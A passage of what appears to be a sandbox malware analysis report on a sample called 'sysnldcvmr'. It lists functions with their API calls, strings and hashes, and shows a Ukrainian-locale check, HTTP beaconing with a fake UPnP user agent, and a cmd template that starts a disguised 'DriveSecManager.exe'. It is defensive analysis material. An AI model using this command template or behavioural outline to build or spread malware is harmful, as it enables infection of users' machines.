Opcode Fuzzy Hash: 6fdb608ebf9e3f7754ee061c031def056059c2a3e2aafc618c301169eaa81d58
Instruction Fuzzy Hash: BFD162B5900258ABCB20DF50DC44BEA77B8BB48304F0485EAF60AE6191D7B99BD4CF59

Function 00406570 Relevance: 26.3, APIs: 11, Strings: 4, Instructions: 85filestringCOMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNEL32(ok@,00000000), ref: 0040657F
wsprintfW.USER32 ref: 00406595
FindFirstFileW.KERNEL32(?,?), ref: 004065AC
lstrcmpW.KERNEL32(?,00411108), ref: 004065D1
lstrcmpW.KERNEL32(?,0041110C), ref: 004065E7
wsprintfW.USER32 ref: 0040660A
wsprintfW.USER32 ref: 0040662A
MoveFileExW.KERNEL32(?,?,00000009), ref: 00406666
FindNextFileW.KERNEL32(000000FF,?), ref: 0040667A
FindClose.KERNEL32(000000FF), ref: 0040668F
RemoveDirectoryW.KERNEL32(?), ref: 00406699

Strings

%s\%s, xrefs: 004065FE
%s\*, xrefs: 00406589
%s\%s, xrefs: 0040661E
ok@, xrefs: 0040657B, 0040661A, 0040657E, 0040661D

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FileFindwsprintf$Directorylstrcmp$CloseCreateFirstMoveNextRemove
String ID: %s\%s$%s\%s$%s\*$ok@
API String ID: 92872011-32713442
Opcode ID: bdcae0db678ffea431cb11009663f4446319228456e5c176b7e99ad091f418f3
Instruction ID: 6b6780eb73bc58f0ce40e07c43f053b4d902fc918dfc6bbc5558198ff1b4ac31
Opcode Fuzzy Hash: bdcae0db678ffea431cb11009663f4446319228456e5c176b7e99ad091f418f3
Instruction Fuzzy Hash: AB3127B5900218AFCB10DB60EC89FDA7778BB48701F4085A9F609A3195DB75DAD4CF58

Function 0040F0B1 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 195nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL ref: 0040F162

Strings

oA, xrefs: 0040F2C0
oA, xrefs: 0040F181
oA, xrefs: 0040F263

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: MemoryQueryVirtual
String ID: oA$ oA$ oA
API String ID: 2850889275-3725432611
Opcode ID: 2b8d52b38e95f23bdc674a950ebd3d706a7c1f13ecb44ec4cb7d27a974556661
Instruction ID: 156301bb8e4ac48afa8ff6eb2b3679a4760495b1ce114817f826733a91984271
Opcode Fuzzy Hash: 2b8d52b38e95f23bdc674a950ebd3d706a7c1f13ecb44ec4cb7d27a974556661
Instruction Fuzzy Hash: 3561D635710612CFDB35CE29C88066A33A2EB85354B25857FD805EBAD5E73ADC4AC68C

Function 0040E730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 22stringCOMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000400,00000007,?,0000000A,?,?,00407678), ref: 0040E743
strcmp.NTDLL ref: 0040E752

Strings

UKR, xrefs: 0040E749

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: InfoLocalestrcmp
String ID: UKR
API String ID: 3191669094-64918367
Opcode ID: d79b0aba27e6a1949038eec9da23d17ae17cae41793c3222a97234fc67286889
Instruction ID: f5851dfa2a24cd6eecb4ca89505c7c91e938839c44774f0d29bfbb74be006053
Opcode Fuzzy Hash: d79b0aba27e6a1949038eec9da23d17ae17cae41793c3222a97234fc67286889
Instruction Fuzzy Hash: 10E02B36E44308B6D900B6B15E03FEA772C5711B09F0045B6FF14A71C1F5B5922AC39B

Function 00401920 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 138networksynchronizationCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0040192C
WaitForSingleObject.KERNEL32(?,00000001), ref: 0040193F
WSAWaitForMultipleEvents.WS2_32(00000001,?,00000000,00000000,00000000), ref: 00401959
WSAEnumNetworkEvents.WS2_32(?,?,?), ref: 00401976
accept.WS2_32(?,?,?), ref: 004019A8
GetTickCount.KERNEL32 ref: 004019F6
EnterCriticalSection.KERNEL32(?), ref: 00401A09
LeaveCriticalSection.KERNEL32(?), ref: 00401A2A
LeaveCriticalSection.KERNEL32(?), ref: 00401A3B
GetTickCount.KERNEL32 ref: 00401A43
EnterCriticalSection.KERNEL32(?), ref: 00401A52
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401A65
LeaveCriticalSection.KERNEL32(?), ref: 00401AA5
GetTickCount.KERNEL32 ref: 00401AAB
WaitForSingleObject.KERNEL32(?,00000001), ref: 00401ABB

Strings

PCOI, xrefs: 0040198A
ilci, xrefs: 004019E1

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$CountTick$LeaveWait$EnterEventsObjectSingle$EnumExchangeInterlockedMultipleNetworkaccept
String ID: PCOI$ilci
API String ID: 3345448188-3762367603
Opcode ID: 33a2561f4f33f1c23cf89dbb798d82106e513be12dc6673eed8a381d7532f20f
Instruction ID: eeda51e0e3d97f01d1798d9b0ac8f7385833fedac5999c9123737cb6f89c21c8
Opcode Fuzzy Hash: 33a2561f4f33f1c23cf89dbb798d82106e513be12dc6673eed8a381d7532f20f
Instruction Fuzzy Hash: 25412771601201ABCB20DF74DC8CB9B77A9AF44720F04863DF955A72E1DB78E885CB99

Function 0040E4F0 Relevance: 26.4, APIs: 12, Strings: 3, Instructions: 138networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040E518
InternetCrackUrlA.WININET(00009E34,00000000,10000000,0000003C), ref: 0040E568
InternetOpenA.WININET(Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x),00000001,00000000,00000000,00000000), ref: 0040E57B
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040E5B4
HttpOpenRequestA.WININET(00000000,POST,?,00000000,00000000,00000000,00000000,00000000), ref: 0040E5EA
HttpAddRequestHeadersA.WININET(00000000,?,000000FF,A0000000), ref: 0040E615
HttpSendRequestA.WININET(00000000,00411AB8,000000FF,00009E34), ref: 0040E63F
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040E67E
memcpy.NTDLL(00000000,?,00000000), ref: 0040E6D0
InternetCloseHandle.WININET(00000000), ref: 0040E701
InternetCloseHandle.WININET(00000000), ref: 0040E70E
InternetCloseHandle.WININET(00000000), ref: 0040E71B

Strings

Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x), xrefs: 0040E576
POST, xrefs: 0040E5DE
<, xrefs: 0040E520

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Internet$CloseHandleHttpRequest$Open$ConnectCrackFileHeadersReadSendmemcpymemset
String ID: <$Mozilla/4.0 (compatible; UPnP/1.0; Windows 9x)$POST
API String ID: 2761394606-2217117414
Opcode ID: c7654f31e89d91c1c7a0e640e7adfa6a7e0684f185013bf68e28b6683bc3e05a
Instruction ID: e955f883797a19afba403fb4bb1b0f9258be9a3219da5a2a8556d37a4b3763d0
Opcode Fuzzy Hash: c7654f31e89d91c1c7a0e640e7adfa6a7e0684f185013bf68e28b6683bc3e05a
Instruction Fuzzy Hash: 73515C71A01228ABDB26CF54CC44BDD77BCAB48705F1085E9F60DA6280CBB9ABC4CF54

Function 00401600 Relevance: 26.3, APIs: 12, Strings: 3, Instructions: 96networkCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,00000000,?,?,004021A5,00000000), ref: 0040161F
InterlockedDecrement.KERNEL32(?), ref: 0040164B
InterlockedExchangeAdd.KERNEL32(?,00000000), ref: 00401663
InterlockedIncrement.KERNEL32(?), ref: 00401691
InterlockedDecrement.KERNEL32(?), ref: 004016A1
LeaveCriticalSection.KERNEL32(?,?,?,004021A5,00000000), ref: 004016B9
SetEvent.KERNEL32(?,?,?,004021A5,00000000), ref: 004016C3
PostQueuedCompletionStatus.KERNEL32(?,00000000,00000000,00000000,?,?,004021A5,00000000), ref: 004016E0
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 00401709
CloseHandle.KERNEL32(?,?,?,004021A5,00000000), ref: 0040170F
WSACloseEvent.WS2_32(?), ref: 00401715
DeleteCriticalSection.KERNEL32(?,?,?,?,004021A5,00000000), ref: 0040172B

Strings

PCOI, xrefs: 0040160D
.Mw, xrefs: 004016FF
ilci, xrefs: 00401630

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Interlocked$CloseCriticalSection$DecrementEventHandle$CompletionDeleteEnterExchangeIncrementLeavePostQueuedStatus
String ID: PCOI$ilci$.Mw
API String ID: 2403999931-2607080227
Opcode ID: 002568448c63d0a3f212006a3792e32a6b926d0b6d38af1dbe87adf1abbded14
Instruction ID: 0b50c8f8eba6d918d1ff78dc69fee2fe4193f5a447302b2e0c9d98a55ef35816
Opcode Fuzzy Hash: 002568448c63d0a3f212006a3792e32a6b926d0b6d38af1dbe87adf1abbded14
Instruction Fuzzy Hash: 6731A671900705ABC710AF70EC48B97B7B8BF09300F048A3EE559A7690D779F894CB98

Function 0040DBC0 Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 130networkfileCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 0040DBE8
InternetCrackUrlA.WININET(0040D699,00000000,10000000,0000003C), ref: 0040DC38
InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 0040DC48
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 0040DC81
HttpOpenRequestA.WININET(00000000,GET,?,00000000,00000000,00000000,00000000,00000000), ref: 0040DCB7
HttpSendRequestA.WININET(00000000,00000000,00000000,00000000,00000000), ref: 0040DCDF
InternetReadFile.WININET(00000000,?,00000400,?), ref: 0040DD28
memcpy.NTDLL(00000000,?,00000000), ref: 0040DD7A
InternetCloseHandle.WININET(00000000), ref: 0040DDB7
InternetCloseHandle.WININET(00000000), ref: 0040DDC4
InternetCloseHandle.WININET(00000000), ref: 0040DDD1

Strings

<, xrefs: 0040DBF0
GET, xrefs: 0040DCAB

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Internet$CloseHandle$HttpOpenRequest$ConnectCrackFileReadSendmemcpymemset
String ID: <$GET
API String ID: 1205665004-427699995
Opcode ID: 3d63e0aafab1991fc3654c1209df296bc7dd287a5f283a095d403ee724d31a9f
Instruction ID: 2be109b622ab9a99a7f53353d246b615867c30bbfdc4ae23a93fa512118ea852
Opcode Fuzzy Hash: 3d63e0aafab1991fc3654c1209df296bc7dd287a5f283a095d403ee724d31a9f
Instruction Fuzzy Hash: CA511CB5D01228ABDB36CB50CC55BE9B7BCAB44705F0480E9E60DAA2C0D7B96BC4CF54

Function 00401D60 Relevance: 13.6, APIs: 9, Instructions: 141COMMON

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,00000000), ref: 00401D86
InterlockedDecrement.KERNEL32(?), ref: 00401DB0
InterlockedDecrement.KERNEL32(?), ref: 00401DC3
InterlockedExchangeAdd.KERNEL32(?,?), ref: 00401DD4
InterlockedDecrement.KERNEL32(?), ref: 00401E5B
InterlockedDecrement.KERNEL32(?), ref: 00401EF6
setsockopt.WS2_32 ref: 00401F2C
closesocket.WS2_32(?), ref: 00401F39

Part of subcall function 0040D4A0: NtQuerySystemTime.NTDLL(0040B3B5), ref: 0040D4AA
Part of subcall function 0040D4A0: RtlTimeToSecondsSince1980.NTDLL(0040B3B5,?), ref: 0040D4B8

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: Interlocked$Decrement$ExchangeTime$QuerySecondsSince1980Systemclosesocketsetsockopt
String ID:
API String ID: 671207744-0
Opcode ID: 455a785a1462a168860a16a7b96cb30f84d4113cb7820f003e1e275d5cc4599c
Instruction ID: a48952fab395babe4cfd63b323185ec8fb23c48b53ef468cda2161a158f186bf
Opcode Fuzzy Hash: 455a785a1462a168860a16a7b96cb30f84d4113cb7820f003e1e275d5cc4599c
Instruction Fuzzy Hash: 7A51B075608702ABC704DF29D888B9BFBE5BF88314F40862EF85D93360D774A545CB96

Function 0040E240 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E2FC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E34B
SysFreeString.OLEAUT32(00000000), ref: 0040E35F
SysFreeString.OLEAUT32(00000000), ref: 0040E377

Strings

deviceType, xrefs: 0040E306
device, xrefs: 0040E2F3

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 1b177aca5382db3f1c66da14849aee522d75b48b0e19709232399be15e741896
Instruction ID: d9bf12878483276118e69e011fb1eaaed98ea0d23904e8601ea4f62f39df24ad
Opcode Fuzzy Hash: 1b177aca5382db3f1c66da14849aee522d75b48b0e19709232399be15e741896
Instruction Fuzzy Hash: C4412D74A0020ADFCB04DF95C884FAFBBB5BF49304F108969E915A7390D778AD81CB95

Function 0040E0E0 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 112stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E19C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E1EB
SysFreeString.OLEAUT32(00000000), ref: 0040E1FF
SysFreeString.OLEAUT32(00000000), ref: 0040E217

Strings

serviceType, xrefs: 0040E1A6
service, xrefs: 0040E193

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 99a16f71be16d8847cb7d1021c7ddccdc4dc2b0592ef80971ad883e08ff36aa9
Instruction ID: 8be64e74ab35422ce5b67f5b255e261f781d2e412f5a45cda6e842047ddde31e
Opcode Fuzzy Hash: 99a16f71be16d8847cb7d1021c7ddccdc4dc2b0592ef80971ad883e08ff36aa9
Instruction Fuzzy Hash: BB41E874A0020ADFCB14CF99C884BAFB7B9BF48304F1085ADE515A7390D778AA81CF95

Function 004022C0 Relevance: 10.6, APIs: 7, Instructions: 95COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?,?,?,?,?,004019BB,00000000), ref: 004022DA
LeaveCriticalSection.KERNEL32(?,?,?,004019BB,00000000), ref: 004022FE

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 84994d564abaa1f0b77106ae7f883709b87c3a35ff6a80d81c042e6f665fff2e
Instruction ID: 16d4c05c25790a512fd8f3a1e6e85bd280fefa1845e4e3e4af960acff63a7a98
Opcode Fuzzy Hash: 84994d564abaa1f0b77106ae7f883709b87c3a35ff6a80d81c042e6f665fff2e
Instruction Fuzzy Hash: DE31D1722012059FC310AFB5FD8CAD7B7A8FF44324F04863EE559D3280D778A4449BA9

Function 0040E281 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,device), ref: 0040E2FC
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E34B
SysFreeString.OLEAUT32(00000000), ref: 0040E35F
SysFreeString.OLEAUT32(00000000), ref: 0040E377

Strings

deviceType, xrefs: 0040E306
device, xrefs: 0040E2F3

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: device$deviceType
API String ID: 1602765415-3511266565
Opcode ID: 7884966aedb5b48ec66d747cdb098c486fa550d692640b6eadd274145b97d250
Instruction ID: b41677b7307b510c0c46b42eeb4edde7184acd44519d028b9e49cf38c7e22350
Opcode Fuzzy Hash: 7884966aedb5b48ec66d747cdb098c486fa550d692640b6eadd274145b97d250
Instruction Fuzzy Hash: 24310C74A0020ADFCB14DF95C884FAFBBB5BF88304F108969E915B7390D778A981CB95

Function 0040E121 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89stringCOMMON

Download Yara Rule

APIs

lstrcmpiW.KERNEL32(00000000,service), ref: 0040E19C
lstrcmpiW.KERNEL32(00000000,00000000), ref: 0040E1EB
SysFreeString.OLEAUT32(00000000), ref: 0040E1FF
SysFreeString.OLEAUT32(00000000), ref: 0040E217

Strings

serviceType, xrefs: 0040E1A6
service, xrefs: 0040E193

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: FreeStringlstrcmpi
String ID: service$serviceType
API String ID: 1602765415-3667235276
Opcode ID: 1c5e78dc8b18edf47e620e5ac62898c9c9dab53ef6afcc05c5ff165d884242d4
Instruction ID: ad2fb0e2655c549c540ff47f191a76fdb33d2d75a9b1b61af0e22c3c344479bd
Opcode Fuzzy Hash: 1c5e78dc8b18edf47e620e5ac62898c9c9dab53ef6afcc05c5ff165d884242d4
Instruction Fuzzy Hash: 7B31CD74E0020ADBCB14CFD5D884BAFB7B9BF88304F1085A9E515A7390D7789A41CF95

Function 00408EB0 Relevance: 9.1, APIs: 6, Instructions: 60COMMON

Download Yara Rule

APIs

_allshl.NTDLL ref: 00408EBD
_aullshr.NTDLL ref: 00408ECE
_allshl.NTDLL ref: 00408EF0
_aullshr.NTDLL ref: 00408F0C
_allshl.NTDLL ref: 00408F2E
_aullshr.NTDLL ref: 00408F4A

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: _allshl_aullshr
String ID:
API String ID: 673498613-0
Opcode ID: b6c741ae3234a389a253b0a23420a389dbca14ef940f6469a5e268d1ed8ccdf8
Instruction ID: 40a613cc88bb75a9b4956eb5c221db2524b4544d5556699ad57a8543b44bc28a
Opcode Fuzzy Hash: b6c741ae3234a389a253b0a23420a389dbca14ef940f6469a5e268d1ed8ccdf8
Instruction Fuzzy Hash: 3B111F32510518AB8B10EF6FC44268ABBD6EF843A1B25C136FC2CDF359D634DA514BD8

Function 00406460 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 94comCOMMON

Download Yara Rule

APIs

CoInitialize.OLE32(00000000), ref: 0040646B
CoCreateInstance.OLE32(00412438,00000000,00000001,00412418,?), ref: 00406483
wsprintfW.USER32 ref: 004064B6

Strings

/c start %s & start %s\DriveSecManager.exe, xrefs: 004064AA
%comspec%, xrefs: 004064BF

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CreateInitializeInstancewsprintf
String ID: %comspec%$/c start %s & start %s\DriveSecManager.exe
API String ID: 2038452267-3640840557
Opcode ID: 4992a1b2003cae7c91a3a7b86177e2a1dc405837f2ddce0001cb864d4f031ccd
Instruction ID: 827debbb99fb5d40cfb779b5d8ae5ab415415813199b490bc36420c15ce2df05
Opcode Fuzzy Hash: 4992a1b2003cae7c91a3a7b86177e2a1dc405837f2ddce0001cb864d4f031ccd
Instruction Fuzzy Hash: 0C31D875A40208BFDB04DF98D884FDEB7B5EF88704F208199F619A73A4C674AE81CB54

Function 0040D410 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 47COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(020D0634), ref: 0040D429
CloseHandle.KERNEL32(020D0638), ref: 0040D458
LeaveCriticalSection.KERNEL32(020D0634), ref: 0040D467
DeleteCriticalSection.KERNEL32(020D0634), ref: 0040D474

Strings

.Mw, xrefs: 0040D458

Memory Dump Source

Source File: 00000004.00000002.1688093138.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.1688076212.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688112526.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688131848.0000000000414000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000004.00000002.1688148794.0000000000415000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_sysnldcvmr.jbxd

Similarity

API ID: CriticalSection$CloseDeleteEnterHandleLeave
String ID: .Mw
API String ID: 3102160386-2453323595
Opcode ID: 07dc70c68ac7b0d2cc494817546f3db23909211f8ba204667fa5a7f367d8b6f4
Instruction ID: 6cfc4b79706d1bba1c4fbc1f32f5c608acb329628ab24e105d00911b1e03cc11
Opcode Fuzzy Hash: 07dc70c68ac7b0d2cc494817546f3db23909211f8ba204667fa5a7f367d8b6f4
Instruction Fuzzy Hash: AC112D74D00208EFDB08DF94D984A9EBB75FF48309F2081A9E806AB341D734EE95DB95

Function 00401330 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42synchronizationCOMMON

Download Yara Rule

APIs

SetEvent.KERNEL32(6856006A,00000000,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401346
WaitForSingleObject.KERNEL32(00401100,000000FF,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 00401352
CloseHandle.KERNEL32(00401100,?,0040143A,00000000,?,?,?,0040D55D,00000000), ref: 0040135C

